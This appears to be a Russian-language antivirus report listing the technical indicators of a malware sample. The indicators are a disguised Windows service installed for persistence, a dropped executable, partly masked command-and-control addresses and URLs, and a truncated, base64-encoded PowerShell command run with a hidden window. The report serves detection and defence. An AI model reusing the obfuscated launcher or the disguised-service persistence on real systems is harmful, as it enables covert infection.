Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\werdiagcontroller] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\werdiagcontroller] 'ImagePath' = '"%WINDIR%\SysWOW64\BWUnpairElevated\werdiagcontroller.exe"'
- 'werdiagcontroller' "%WINDIR%\SysWOW64\BWUnpairElevated\werdiagcontroller.exe"
- 'werdiagcontroller' %WINDIR%\SysWOW64\BWUnpairElevated\werdiagcontroller.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABDAG0ANgB5AGcAbQBnAD0AKAAoACcARgBfACcAKwAnAGgAYQB3ACcAKQArACcAcgBjACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAVABFAE0AUABcAFcAbwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- %TEMP%\word\2019\w3gvj2.exe
- %WINDIR%\syswow64\bwunpairelevated\werdiagcontroller.exe
- %TEMP%\word\2019\w3gvj2.exe в %WINDIR%\syswow64\bwunpairelevated\werdiagcontroller.exe
- '37.#2.87.0':80
- '87.##8.70.45':8080
- http://bl####ngstorehn.com/2hqq/aD9/
- http://87.###.70.45:8080/flPTK1TDzVV8DY/ via 87.##8.70.45
- DNS ASK bl####ngstorehn.com
- '%TEMP%\word\2019\w3gvj2.exe'
- '%WINDIR%\syswow64\bwunpairelevated\werdiagcontroller.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABDAG0ANgB5AGcAbQBnAD0AKAAoACcARgBfACcAKwAnAGgAYQB3ACcAKQArACcAcgBjACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAVABFAE0AUABcAFcAbwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (со скрытым окном)